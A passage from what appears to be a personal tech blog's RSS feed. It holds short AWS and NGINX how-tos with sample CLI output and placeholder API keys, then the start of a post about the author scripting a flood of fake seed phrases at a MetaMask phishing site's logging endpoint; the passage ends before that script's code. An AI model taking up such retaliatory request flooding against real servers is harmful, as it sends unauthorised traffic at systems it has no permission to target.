</span></span><span class="line"><span class="cl">                        <span class="p">{</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;GroupName&#34;</span><span class="p">:</span> <span class="s2">&#34;security-group-1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;GroupId&#34;</span><span class="p">:</span> <span class="s2">&#34;sg-123abc&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="p">},</span>
</span></span><span class="line"><span class="cl">                        <span class="p">{</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;GroupName&#34;</span><span class="p">:</span> <span class="s2">&#34;security-group-2&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;GroupId&#34;</span><span class="p">:</span> <span class="s2">&#34;sg-456def&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="p">}</span>
</span></span><span class="line"><span class="cl">                    <span class="p">],</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;SourceDestCheck&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;Tags&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                        <span class="p">{</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;Key&#34;</span><span class="p">:</span> <span class="s2">&#34;App&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;Value&#34;</span><span class="p">:</span> <span class="s2">&#34;Testing App&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="p">}</span>
</span></span><span class="line"><span class="cl">                    <span class="p">],</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;VirtualizationType&#34;</span><span class="p">:</span> <span class="s2">&#34;hvm&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;CpuOptions&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;CoreCount&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;ThreadsPerCore&#34;</span><span class="p">:</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;CapacityReservationSpecification&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;CapacityReservationPreference&#34;</span><span class="p">:</span> <span class="s2">&#34;open&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;HibernationOptions&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;Configured&#34;</span><span class="p">:</span> <span class="kc">false</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;MetadataOptions&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;State&#34;</span><span class="p">:</span> <span class="s2">&#34;applied&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;HttpTokens&#34;</span><span class="p">:</span> <span class="s2">&#34;optional&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;HttpPutResponseHopLimit&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;HttpEndpoint&#34;</span><span class="p">:</span> <span class="s2">&#34;enabled&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;HttpProtocolIpv6&#34;</span><span class="p">:</span> <span class="s2">&#34;disabled&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;InstanceMetadataTags&#34;</span><span class="p">:</span> <span class="s2">&#34;disabled&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;EnclaveOptions&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;Enabled&#34;</span><span class="p">:</span> <span class="kc">false</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;PlatformDetails&#34;</span><span class="p">:</span> <span class="s2">&#34;Linux/UNIX&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;UsageOperation&#34;</span><span class="p">:</span> <span class="s2">&#34;RunInstances&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;UsageOperationUpdateTime&#34;</span><span class="p">:</span> <span class="s2">&#34;2022-01-01T00:00:00.000Z&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;PrivateDnsNameOptions&#34;</span><span class="p">:</span> <span class="p">{},</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;MaintenanceOptions&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;AutoRecovery&#34;</span><span class="p">:</span> <span class="s2">&#34;default&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">],</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;OwnerId&#34;</span><span class="p">:</span> <span class="s2">&#34;112233445566&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;RequesterId&#34;</span><span class="p">:</span> <span class="s2">&#34;112233445566&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;ReservationId&#34;</span><span class="p">:</span> <span class="s2">&#34;r-012345abcdef&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="finding-other-resources-by-ip-address">Finding Other Resources by IP Address</h2>
<h3 id="in-the-aws-console">In the AWS Console</h3>
<p>To identify other AWS resources (such as Lambdas) based on IP address, you can search for the corresponding ENI.
In the AWS Console, browse to the EC2 console and click on Network Interfaces on the left hand side. Then search by &ldquo;Primary private IPv4 address&rdquo; (or &ldquo;Public IPv4 address&rdquo; if you want to search by a public IP address).</p>
<img src="/finding-aws-resources-by-ip-address/eni-search.webp" alt="Results after searching for Elastic Network Interface using a public IP address" width="720" height="195" style="max-width: 100%; height: auto; aspect-ratio: 1312 / 356;" loading="lazy" decoding="async">
<p>You can then poke around through the ENI details to figure out what resource is associated with the IP address.</p>
<h3 id="using-the-aws-cli-1">Using the AWS CLI</h3>
<p>This can also be done using the 

<a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html" target="_blank" rel="noopener">AWS CLI</a> with the following command, replacing <code>--region</code> and <code>Values</code> as needed:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">aws ec2 describe-network-interfaces --region<span class="o">=</span>us-west-1 --filters <span class="nv">Name</span><span class="o">=</span>addresses.private-ip-address,Values<span class="o">=</span>10.0.0.1
</span></span></code></pre></td></tr></table>
</blockquote><p>Here&rsquo;s what the output looks like</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;NetworkInterfaces&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Attachment&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&#34;AttachmentId&#34;</span><span class="p">:</span> <span class="s2">&#34;ela-attach-12345abcde&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&#34;DeleteOnTermination&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&#34;DeviceIndex&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&#34;InstanceOwnerId&#34;</span><span class="p">:</span> <span class="s2">&#34;amazon-aws&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&#34;Status&#34;</span><span class="p">:</span> <span class="s2">&#34;attached&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="p">},</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;AvailabilityZone&#34;</span><span class="p">:</span> <span class="s2">&#34;us-west-1a&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Description&#34;</span><span class="p">:</span> <span class="s2">&#34;Test AWS Lambda&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Groups&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;GroupName&#34;</span><span class="p">:</span> <span class="s2">&#34;test-group&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;GroupId&#34;</span><span class="p">:</span> <span class="s2">&#34;sg-01234abcde&#34;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">],</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;InterfaceType&#34;</span><span class="p">:</span> <span class="s2">&#34;lambda&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Ipv6Addresses&#34;</span><span class="p">:</span> <span class="p">[],</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;MacAddress&#34;</span><span class="p">:</span> <span class="s2">&#34;00:aa:11:bb:22:cc&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;NetworkInterfaceId&#34;</span><span class="p">:</span> <span class="s2">&#34;eni-012345abcdef&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;OwnerId&#34;</span><span class="p">:</span> <span class="s2">&#34;112233445566&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;PrivateDnsName&#34;</span><span class="p">:</span> <span class="s2">&#34;ip-10-0-0-1.ec2.internal&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;PrivateIpAddress&#34;</span><span class="p">:</span> <span class="s2">&#34;10.0.0.1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;PrivateIpAddresses&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;Primary&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;PrivateDnsName&#34;</span><span class="p">:</span> <span class="s2">&#34;ip-10-0-0-1.ec2.internal&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;PrivateIpAddress&#34;</span><span class="p">:</span> <span class="s2">&#34;10.0.0.1&#34;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">],</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;RequesterId&#34;</span><span class="p">:</span> <span class="s2">&#34;AAABBBCCCDDDEEEFFF:112233445566&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;RequesterManaged&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;SourceDestCheck&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Status&#34;</span><span class="p">:</span> <span class="s2">&#34;in-use&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;SubnetId&#34;</span><span class="p">:</span> <span class="s2">&#34;subnet-1234abcd&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;TagSet&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;Key&#34;</span><span class="p">:</span> <span class="s2">&#34;App&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;Value&#34;</span><span class="p">:</span> <span class="s2">&#34;Lambda Test&#34;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">],</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;VpcId&#34;</span><span class="p">:</span> <span class="s2">&#34;vpc-1234abcd&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Check the value of <code>InterfaceType</code> for clues as to what resource is using the ENI. In this case, it&rsquo;s a Lambda function.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://serverfault.com/questions/710931/is-it-possible-to-get-aws-ec2-instance-id-based-on-its-ip-address" target="_blank" rel="noopener">https://serverfault.com/questions/710931/is-it-possible-to-get-aws-ec2-instance-id-based-on-its-ip-address</a></li>
<li>

<a href="https://repost.aws/knowledge-center/vpc-find-owner-unknown-ip-addresses" target="_blank" rel="noopener">https://repost.aws/knowledge-center/vpc-find-owner-unknown-ip-addresses</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Replacing AWS ACM SSL Certificates With No Downtime</title>
      <link>https://nelson.cloud/replacing-aws-acm-ssl-certificates-with-no-downtime/?ref=rss</link>
      <pubDate>Sun, 12 Jun 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/replacing-aws-acm-ssl-certificates-with-no-downtime/?ref=rss</guid>
      <description>Updating Amazon Certificate Manager SSL certificates with no downtime</description><content:encoded><![CDATA[<p>I recently learned that it is possible to replace an existing ACM SSL certificate on any AWS resource with no downtime.
The key is that the old certificate must exist while making SSL certificate updates to a resource. AWS does not allow users to delete a certificate that has resources associated. That means there is no risk of an in-use SSL certificate from being missing.</p>
<p>Here&rsquo;s what a resource associated to an ACM SSL certificate looks like. In this case it&rsquo;s a CloudFront Distribution:</p>
<img src="/replacing-aws-acm-ssl-certificates-with-no-downtime/acm-cert-associated-resource.webp" alt="ACM SSL certificate associated to a CloudFront Distribution" width="720" height="298" style="max-width: 100%; height: auto; aspect-ratio: 864 / 358;" loading="lazy" decoding="async">
<p>If I wanted to replace the SSL certificate on the CloudFront Distribution above, I would create a new certificate and associate it with the Distribution.
The updating process is then handled automatically by AWS. Since the old certificate still exists, there would be no downtime during the update. After updates are finished, I would be free to delete the old certificate.</p>
<p>This applies to any AWS resource that can be associated with an ACM SSL certificate.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Invoking Amazon API Gateway with an API Key</title>
      <link>https://nelson.cloud/invoking-amazon-api-gateway-with-an-api-key/?ref=rss</link>
      <pubDate>Mon, 06 Jun 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/invoking-amazon-api-gateway-with-an-api-key/?ref=rss</guid>
      <description>How to pass an API key via the x-api-key header when invoking AWS API Gateway with curl and Python.</description><content:encoded><![CDATA[<p>To invoke an Amazon API Gateway with an API Key we need to pass in the API key in a <code>x-api-key</code> header.
For the following examples, assume the invoke URL is <code>https://12abcde45.execute-api.us-west-1.amazonaws.com/prod/create</code> and the API key is <code>abc123</code>.</p>
<h2 id="invoking-with-curl">Invoking with curl</h2>
<p>To invoke this API with <code>curl</code> it would look like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># GET request</span>
</span></span><span class="line"><span class="cl">curl --header <span class="s2">&#34;x-api-key: abc123&#34;</span> https://12abcde45.execute-api.us-west-1.amazonaws.com/prod/create
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># POST request with data</span>
</span></span><span class="line"><span class="cl">curl -d <span class="s2">&#34;key1=value1&amp;key2=value2&#34;</span> --header <span class="s2">&#34;x-api-key: abc123&#34;</span> -X POST https://12abcde45.execute-api.us-west-1.amazonaws.com/prod/create
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="invoking-with-httpie">Invoking with HTTPie</h2>
<p>To invoke the API with 

<a href="https://httpie.io/" target="_blank" rel="noopener">HTTPie</a>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># GET request</span>
</span></span><span class="line"><span class="cl">http https://12abcde45.execute-api.us-west-1.amazonaws.com/prod/create x-api-key:abc123
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># POST request with data</span>
</span></span><span class="line"><span class="cl">http post https://12abcde45.execute-api.us-west-1.amazonaws.com/prod/create <span class="nv">key1</span><span class="o">=</span>value1 x-api-key:abc123
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="invoking-with-python">Invoking with Python</h2>
<p><code>GET</code> request:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;https://12abcde45.execute-api.us-west-1.amazonaws.com/prod/create&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># API key specified as a header</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Key hardcoded for demonstrational purposes. Do not push/commit plaintext keys!</span>
</span></span><span class="line"><span class="cl"><span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;x-api-key&#34;</span><span class="p">:</span> <span class="s2">&#34;abc123&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># GET request with custom header</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p><code>POST</code> request with data:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;https://12abcde45.execute-api.us-west-1.amazonaws.com/prod/create&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># API key specified as a header</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Key hardcoded for demonstrational purposes. Do not push/commit plaintext keys!</span>
</span></span><span class="line"><span class="cl"><span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;x-api-key&#34;</span><span class="p">:</span> <span class="s2">&#34;abc123&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Data to be sent</span>
</span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;key1&#34;</span><span class="p">:</span> <span class="s2">&#34;value1&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># POST request with custom header and data</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote>]]></content:encoded>
    </item>
    <item>
      <title>NGINX: Difference Between ~ and ~* Tildes</title>
      <link>https://nelson.cloud/nginx-difference-between-~-and-~-tildes/?ref=rss</link>
      <pubDate>Mon, 06 Jun 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/nginx-difference-between-~-and-~-tildes/?ref=rss</guid>
      <description>~ for case-sensitive matching vs ~* for case-insensitive pattern matching in location blocks.</description><content:encoded><![CDATA[<p>The difference is that <code>~</code> is case-sensitive while <code>~*</code> is not case-sensitive.</p>
<p>In the example below, the path <code>/admin/</code> would match while <code>/Admin/</code> would not:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-nginx" data-lang="nginx"><span class="line"><span class="cl"><span class="k">location</span> <span class="p">~</span> <span class="sr">^/admin/$</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kn">return</span> <span class="mi">301</span> <span class="s">https://</span><span class="nv">$host/</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>In this example, both <code>/admin</code> and <code>/Admin/</code> would match and be redirected:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-nginx" data-lang="nginx"><span class="line"><span class="cl"><span class="k">location</span> <span class="p">~</span><span class="sr">*</span> <span class="s">^/admin/</span>$ <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kn">return</span> <span class="mi">301</span> <span class="s">https://</span><span class="nv">$host/</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote>]]></content:encoded>
    </item>
    <item>
      <title>Retaliating Against MetaMask Scammers With Python</title>
      <link>https://nelson.cloud/retaliating-against-metamask-scammers-with-python/?ref=rss</link>
      <pubDate>Thu, 28 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/retaliating-against-metamask-scammers-with-python/?ref=rss</guid>
      <description>Using Python to send fake seed phrases to a MetaMask scam site.</description><content:encoded><![CDATA[<h2 id="reconnaissance">Reconnaissance</h2>
<p>Recently, I received this email:</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-email.webp" alt="fake metamask email" width="720" height="482" style="max-width: 100%; height: auto; aspect-ratio: 1190 / 798;" loading="lazy" decoding="async">
<p>I have never used MetaMask. It was pretty obvious this was a scam. I decided to check it out anyway out of curiosity.
It led me to this site which looked legit but had a major flaw: there is no domain and I&rsquo;m accessing an insecure IP address.</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-site.webp" alt="fake metamask site" width="720" height="463" style="max-width: 100%; height: auto; aspect-ratio: 3268 / 2103;" loading="lazy" decoding="async">
<p>Still curious, I followed along and clicked on &ldquo;Start verification process&rdquo;. In the next page, there was a text field prompting me to input my seed phrase:</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-input-field.webp" alt="fake metamask input field for seed phrases" width="720" height="463" style="max-width: 100%; height: auto; aspect-ratio: 3264 / 2101;" loading="lazy" decoding="async">
<p>So I submitted 12 random words and used the browser dev tools to figure out where my seed phrase was being sent to.</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-submission.webp" alt="fake metamask post-submission page" width="720" height="463" style="max-width: 100%; height: auto; aspect-ratio: 3262 / 2099;" loading="lazy" decoding="async">
<p>It looks like my fake seed phrase is being sent to <code>/log.php</code> as a query string through a <code>GET</code> request. I wanted to make these scammers pay somehow.
I figured I could come up with a quick script to slam this endpoint with random seed phrases to waste their time.</p>
<p>To make my made up seed phrases look more legitimate, I needed to find out if the words in seed phrases have certain limits or if they come from a pool of words. I want the scammers to try every single phrase I submit only to find out that they don&rsquo;t work.</p>
<p>After doing some reading from the official 

<a href="https://metamask.zendesk.com/hc/en-us/articles/4404722782107-User-Guide-Secret-Recovery-Phrase-password-and-private-keys#h_01FYVAXJQT914HCHEYFPNMEJEA" target="_blank" rel="noopener">MetaMask site</a>, I saw this:</p>
<img src="/retaliating-against-metamask-scammers/metamask-documentation.webp" alt="metamask documentation" width="720" height="305" style="max-width: 100%; height: auto; aspect-ratio: 1724 / 732;" loading="lazy" decoding="async">
<p>So there&rsquo;s a specific list of words that seed phrases are generated from and I have a direct link to them. This was perfect. I could use this list of words in my script:</p>
<ul>
<li>

<a href="https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt" target="_blank" rel="noopener">https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</a></li>
</ul>
<h2 id="scripting-time">Scripting Time</h2>
<p>I came up with a Python script that takes the list of words from the GitHub link, generates a 12 word seed phrase, and sends a <code>GET</code> request to the scammer URL along with the seed phrase as a query string:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
